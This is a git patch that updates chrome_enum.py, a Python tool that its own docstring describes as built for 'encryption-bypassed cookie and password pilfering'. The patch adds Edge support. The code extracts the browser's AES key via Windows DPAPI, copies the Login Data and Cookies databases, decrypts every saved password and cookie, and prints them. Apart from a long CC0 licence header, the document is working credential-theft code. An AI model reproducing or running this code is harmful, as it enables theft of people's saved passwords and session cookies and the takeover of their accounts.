From 9ae67c81f4977d4c7dea58e923ce2aa98f716bb4 Mon Sep 17 00:00:00 2001 From: Henry Reed Date: Wed, 9 Mar 2022 21:33:31 -0800 Subject: [PATCH] Add Edge support and other minor updates * Add Edge support * Update password and cookie data structures to support multiple database sources * Add new directories for Cookies file * Add support for multiple Cookies and Login Data files given a base directory * Add support for multiple base directories * Fix crash caused by some SQLite 3 DB' encrypted_values BLOB field would be interpreted as a str in Python * Write better docstrings * Use CC0-1.0 License * Crash if attempted to run on a platform other than Microsoft Windows --- chrome_enum.py | 342 ++++++++++++++++++++++++++++++++++++------------- 1 file changed, 256 insertions(+), 86 deletions(-) diff --git a/chrome_enum.py b/chrome_enum.py index e031c39..90e63e6 100644 --- a/chrome_enum.py +++ b/chrome_enum.py @@ -1,27 +1,128 @@ -# This is free and unencumbered software released into the public domain. +# -*- coding: utf-8 -*- +# Creative Commons Legal Code # -# Anyone is free to copy, modify, publish, use, compile, sell, or -# distribute this software, either in source code form or as a compiled -# binary, for any purpose, commercial or non-commercial, and by any -# means. +# CC0 1.0 Universal # -# In jurisdictions that recognize copyright laws, the author or authors -# of this software dedicate any and all copyright interest in the -# software to the public domain. We make this dedication for the benefit -# of the public at large and to the detriment of our heirs and -# successors. We intend this dedication to be an overt act of -# relinquishment in perpetuity of all present and future rights to this -# software under copyright law. +# CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE +# LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN +# ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS +# INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES +# REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS +# PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM +# THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED +# HEREUNDER. # -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -# IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR -# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, -# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -# OTHER DEALINGS IN THE SOFTWARE. +# Statement of Purpose # -# For more information, please refer to +# The laws of most jurisdictions throughout the world automatically confer +# exclusive Copyright and Related Rights (defined below) upon the creator +# and subsequent owner(s) (each and all, an "owner") of an original work of +# authorship and/or a database (each, a "Work"). +# +# Certain owners wish to permanently relinquish those rights to a Work for +# the purpose of contributing to a commons of creative, cultural and +# scientific works ("Commons") that the public can reliably and without fear +# of later claims of infringement build upon, modify, incorporate in other +# works, reuse and redistribute as freely as possible in any form whatsoever +# and for any purposes, including without limitation commercial purposes. +# These owners may contribute to the Commons to promote the ideal of a free +# culture and the further production of creative, cultural and scientific +# works, or to gain reputation or greater distribution for their Work in +# part through the use and efforts of others. +# +# For these and/or other purposes and motivations, and without any +# expectation of additional consideration or compensation, the person +# associating CC0 with a Work (the "Affirmer"), to the extent that he or she +# is an owner of Copyright and Related Rights in the Work, voluntarily +# elects to apply CC0 to the Work and publicly distribute the Work under its +# terms, with knowledge of his or her Copyright and Related Rights in the +# Work and the meaning and intended legal effect of CC0 on those rights. +# +# 1. Copyright and Related Rights. A Work made available under CC0 may be +# protected by copyright and related or neighboring rights ("Copyright and +# Related Rights"). Copyright and Related Rights include, but are not +# limited to, the following: +# +# i. the right to reproduce, adapt, distribute, perform, display, +# communicate, and translate a Work; +# ii. moral rights retained by the original author(s) and/or performer(s); +# iii. publicity and privacy rights pertaining to a person's image or +# likeness depicted in a Work; +# iv. rights protecting against unfair competition in regards to a Work, +# subject to the limitations in paragraph 4(a), below; +# v. rights protecting the extraction, dissemination, use and reuse of data +# in a Work; +# vi. database rights (such as those arising under Directive 96/9/EC of the +# European Parliament and of the Council of 11 March 1996 on the legal +# protection of databases, and under any national implementation +# thereof, including any amended or successor version of such +# directive); and +# vii. other similar, equivalent or corresponding rights throughout the +# world based on applicable law or treaty, and any national +# implementations thereof. +# +# 2. Waiver. To the greatest extent permitted by, but not in contravention +# of, applicable law, Affirmer hereby overtly, fully, permanently, +# irrevocably and unconditionally waives, abandons, and surrenders all of +# Affirmer's Copyright and Related Rights and associated claims and causes +# of action, whether now known or unknown (including existing as well as +# future claims and causes of action), in the Work (i) in all territories +# worldwide, (ii) for the maximum duration provided by applicable law or +# treaty (including future time extensions), (iii) in any current or future +# medium and for any number of copies, and (iv) for any purpose whatsoever, +# including without limitation commercial, advertising or promotional +# purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each +# member of the public at large and to the detriment of Affirmer's heirs and +# successors, fully intending that such Waiver shall not be subject to +# revocation, rescission, cancellation, termination, or any other legal or +# equitable action to disrupt the quiet enjoyment of the Work by the public +# as contemplated by Affirmer's express Statement of Purpose. +# +# 3. Public License Fallback. Should any part of the Waiver for any reason +# be judged legally invalid or ineffective under applicable law, then the +# Waiver shall be preserved to the maximum extent permitted taking into +# account Affirmer's express Statement of Purpose. In addition, to the +# extent the Waiver is so judged Affirmer hereby grants to each affected +# person a royalty-free, non transferable, non sublicensable, non exclusive, +# irrevocable and unconditional license to exercise Affirmer's Copyright and +# Related Rights in the Work (i) in all territories worldwide, (ii) for the +# maximum duration provided by applicable law or treaty (including future +# time extensions), (iii) in any current or future medium and for any number +# of copies, and (iv) for any purpose whatsoever, including without +# limitation commercial, advertising or promotional purposes (the +# "License"). The License shall be deemed effective as of the date CC0 was +# applied by Affirmer to the Work. Should any part of the License for any +# reason be judged legally invalid or ineffective under applicable law, such +# partial invalidity or ineffectiveness shall not invalidate the remainder +# of the License, and in such case Affirmer hereby affirms that he or she +# will not (i) exercise any of his or her remaining Copyright and Related +# Rights in the Work or (ii) assert any associated claims and causes of +# action with respect to the Work, in either case contrary to Affirmer's +# express Statement of Purpose. +# +# 4. Limitations and Disclaimers. +# +# a. No trademark or patent rights held by Affirmer are waived, abandoned, +# surrendered, licensed or otherwise affected by this document. +# b. Affirmer offers the Work as-is and makes no representations or +# warranties of any kind concerning the Work, express, implied, +# statutory or otherwise, including without limitation warranties of +# title, merchantability, fitness for a particular purpose, non +# infringement, or the absence of latent or other defects, accuracy, or +# the present or absence of errors, whether or not discoverable, all to +# the greatest extent permissible under applicable law. +# c. Affirmer disclaims responsibility for clearing rights of other persons +# that may apply to the Work or any use thereof, including without +# limitation any person's Copyright and Related Rights in the Work. +# Further, Affirmer disclaims responsibility for obtaining any necessary +# consents, permissions or other rights required for any use of the +# Work. +# d. Affirmer understands and acknowledges that Creative Commons is not a +# party to this document and has no duty or obligation with respect to +# this CC0 or use of the Work. +# +# For more information, please see +# import base64 import json @@ -31,22 +132,44 @@ import sqlite3 import string import sys +from platform import system import win32crypt from Cryptodome.Cipher import AES -class Chrome: +class ChromeEnumWindows: + """Enumerates Chrome-based browser data to allow for encryption-bypassed cookie and password pilfering""" + CHROME_DIRS = [os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\'), + os.path.expanduser('~\\AppData\\Local\\Microsoft\\Edge\\User Data\\')] + COOKIES_DIRS = ['Default\\Cookies', + 'Default\\Network\\Cookies'] + PASSWORD_DIRS = ['Default\\Login Data'] + def __init__(self): - self.version = 'V1.1' - self.base_dir = os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\') - if not os.path.exists(self.base_dir): - raise FileNotFoundError('Unable to find Google Chrome\'s User Data folder.') - self.key = self.__key_extract() + self.name = 'Chrome Enum for Windows' + self.version = 'V1.2' + if system() != "Windows": + raise NotImplementedError(system() + " is not supported in this class.") + base_dir_list: list = self.__get_base_dir() + self.dir_and_key = {} + for base_dir in base_dir_list: + self.dir_and_key[base_dir] = self.__key_extract(base_dir) + + def __get_base_dir(self) -> list: + base_dir = [] + for possible_path in self.CHROME_DIRS: + if os.path.exists(possible_path): + base_dir.append(possible_path) + + if not base_dir: + raise FileNotFoundError('Unable to find Chrome\'s "User Data" directory.') + return base_dir - def __key_extract(self) -> bytes: + @staticmethod + def __key_extract(base_dir) -> bytes: """Extracts AES key for the new crypto method introduced in Google Chrome V80.""" - with open(os.path.join(self.base_dir + 'Local State'), 'rb') as key_file_raw: + with open(os.path.join(base_dir + 'Local State'), 'rb') as key_file_raw: key_file_json = json.loads(key_file_raw.read()) key_base64 = key_file_json["os_crypt"]["encrypted_key"] key_protected = base64.b64decode(key_base64)[5:] # [5:] removes header @@ -54,7 +177,7 @@ def __key_extract(self) -> bytes: @staticmethod def __decrypter_old(data: bytes) -> bytes: - """Decrypts Google Chrome data encrypted with the old method before V80. + """Decrypts Chrome-based browser data encrypted with the old method before V80. :param data: Encrypted data :return: Decrypted data @@ -67,14 +190,15 @@ def __decrypter_old(data: bytes) -> bytes: print("Exception: ", file=sys.stderr) print(ex, file=sys.stderr) - def __decrypter_aes(self, data: bytes) -> bytes: - """Decrypts Google Chrome data encrypted with the new AES method introduced in V80. + @staticmethod + def __decrypter_aes(data: bytes, key: bytes) -> bytes: + """Decrypts Chrome-based browser data encrypted with the new AES method introduced in V80. :param data: Encrypted data :return: Decrypted data """ iv = data[3:15] # The first three characters declare that this is "v10", meaning the new AES crypto. - cipher = AES.new(self.key, AES.MODE_GCM, iv) + cipher = AES.new(key, AES.MODE_GCM, iv) try: return cipher.decrypt(data[15:])[:-16] # Last 16 characters are extraneous, therefore removed except Exception as ex: @@ -83,98 +207,144 @@ def __decrypter_aes(self, data: bytes) -> bytes: print("Exception: ", file=sys.stderr) print(ex, file=sys.stderr) - def __decrypter(self, data: bytes) -> bytes: + def __decrypter(self, data: bytes, key: bytes) -> bytes: """Determines cryptography method and returns decrypted text; raises ValueError if crypto is unrecognized. :param data: Encrypted data; cookies and passwords are encrypted by default. :return: Decrypted data. """ if data[:3] == b'v10': - return self.__decrypter_aes(data) + return self.__decrypter_aes(data, key) elif data[:4] == b'\x01\0\0\0': return self.__decrypter_old(data) else: raise ValueError("Decryption type unknown. Please report this error. Encrypted data: " + str(data)) - def password(self) -> list: + def __file_and_key(self, file_list: list): + """Returns a dictionary of files matched with corresponding key""" + file_and_key = dict() + for base_dir in self.dir_and_key.keys(): + for appended_dir in file_list: + if os.path.isfile(os.path.join(base_dir, appended_dir)): + file_and_key[os.path.join(base_dir, appended_dir)] = self.dir_and_key[base_dir] + return file_and_key + + def password(self) -> dict: + """Returns a dictionary of decrypted passwords. + + Dictionary format: + { + 'C:\\path\\to\\database': + [ + ['url', 'username', 'password], + ['url', 'username', 'password], + ... + ['url', 'username', 'password] + ] + } + """ + password_dir_and_key = self.__file_and_key(self.PASSWORD_DIRS) + if not password_dir_and_key: + print("No passwords found.", file=sys.stderr) + else: + return {password_file: self.__individual_password(password_file, password_dir_and_key[password_file]) + for password_file in password_dir_and_key} + + def __individual_password(self, database_file, key) -> list: """Extracts and decrypts passwords saved in Google Chrome. + :param database_file: Absolute location of a cookie SQLite 3 database file + :param key: Key for AES-encrypted entries :return: A list of lists of password entries. Each entry contains the URL, username and password, respectively. """ - filename = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) - shutil.copy2(os.path.join(self.base_dir, 'default', 'Login Data'), filename) # Copying to avoid lock issues - database = sqlite3.connect(filename) + temp_db = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) + shutil.copy2(database_file, temp_db) # Copying to avoid lock issues + database = sqlite3.connect(temp_db) cursor = database.cursor() cursor.execute("SELECT action_url, username_value, password_value FROM logins") - password_database = list() + password_list = list() for row in cursor.fetchall(): - password_database.append([row[0], row[1], self.__decrypter(row[2])]) + password_list.append([row[0], row[1], self.__decrypter(row[2], key)]) database.close() try: - os.remove(filename) + os.remove(temp_db) except Exception as ex: - if os.path.exists(filename): + if os.path.exists(temp_db): print(ex, file=sys.stderr) - return password_database - - def cookies(self) -> list: - """Extracts and decrypts cookies saved in Google Chrome. - - The cookies table in Chrome is created as such: - CREATE TABLE cookies( - creation_utc INTEGER NOT NULL, - host_key TEXT NOT NULL, - name TEXT NOT NULL, - value TEXT NOT NULL, - path TEXT NOT NULL, - expires_utc INTEGER NOT NULL, - is_secure INTEGER NOT NULL, - is_httponly INTEGER NOT NULL, - last_access_utc INTEGER NOT NULL, - has_expires INTEGER NOT NULL DEFAULT 1, - is_persistent INTEGER NOT NULL DEFAULT 1, - priority INTEGER NOT NULL DEFAULT 1, - encrypted_value BLOB DEFAULT '', - samesite INTEGER NOT NULL DEFAULT -1, - source_scheme INTEGER NOT NULL DEFAULT 0, - UNIQUE (host_key, name, path) - ) - - The returned list contains the entire database, except encrypted_value is decrypted. - - :return: A list of lists of cookie entries. All cookie database columns are included per cookie entry. + return password_list + + def cookies(self) -> dict: + """ Returns dict of decrypted cookies. + + Dictionary format: + { + 'C:\\path\\to\\database': + ( + ('creation_utc', 'top_frame_site_key', ..., 'is_same_party'), + [ + [row-entry-1, row-entry-2, ..., row-entry-n], + [row-entry-1, row-entry-2, ..., row-entry-n], + ... + [row-entry-1, row-entry-2, ..., row-entry-n] + ] + ) + } + """ + cookies_dir_and_key = self.__file_and_key(self.COOKIES_DIRS) + if not cookies_dir_and_key: + print("No cookies found.", file=sys.stderr) + else: + return {cookies_file: self.__individual_cookies(cookies_file, cookies_dir_and_key[cookies_file]) + for cookies_file in cookies_dir_and_key} + + def __individual_cookies(self, database_file, key) -> tuple[tuple, list]: + """Extracts and decrypts cookies saved in Chrome-based browsers given a base directory. + + The returned tuple contains the entire database, except encrypted_value is decrypted. + + :param database_file: Absolute location of a cookie SQLite 3 database file + :param key: Key for AES-encrypted entries + :return: A tuple containing a tuple of column names and a nested list of the decrypted cookie database """ filename = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) - shutil.copy2(os.path.join(self.base_dir, 'default', 'Cookies'), filename) # Copying to avoid lock issues + shutil.copy2(database_file, filename) # Copying to avoid lock issues database = sqlite3.connect(filename) + database.text_factory = bytes # Python arbitrarily interprets BLOB fields as str and crashes everything, + # so this is the workaround. cursor = database.cursor() cursor.execute("SELECT * FROM cookies") decrypted_database = list() + columns = [fields[0] for fields in cursor.description] for row in cursor.fetchall(): - decrypted_row = list() - for element in row: - if type(element) is bytes: - decrypted_row.append(self.__decrypter(element)) - else: - decrypted_row.append(element) - decrypted_database.append(decrypted_row) + row = list(row) + row[columns.index("encrypted_value")] = self.__decrypter(row[columns.index("encrypted_value")], key) + decrypted_database.append(row) database.close() try: os.remove(filename) except Exception as ex: if os.path.exists(filename): print(ex, file=sys.stderr) - return decrypted_database + + columns[columns.index("encrypted_value")] = "decrypted_value" + + return tuple(columns), decrypted_database # Returning the columns as a tuple as columns should be immutable if __name__ == "__main__": - c = Chrome() - print("Chrome Enum " + c.version) + c = ChromeEnumWindows() + print(c.name) + print(c.version) print("Dumping passwords...") passwords = c.password() - for password in passwords: - print(password) - print("\nDumping cookies...") + for password_database in passwords.keys(): + print(password_database) + print(passwords[password_database]) + print() + print("Dumping cookies...") cookies = c.cookies() - for cookie in cookies: - print(cookie) + for cookie_database in cookies.keys(): + print(cookie_database) + print(cookies[cookie_database][0]) + for cookie_entry in cookies[cookie_database][1]: + print(cookie_entry)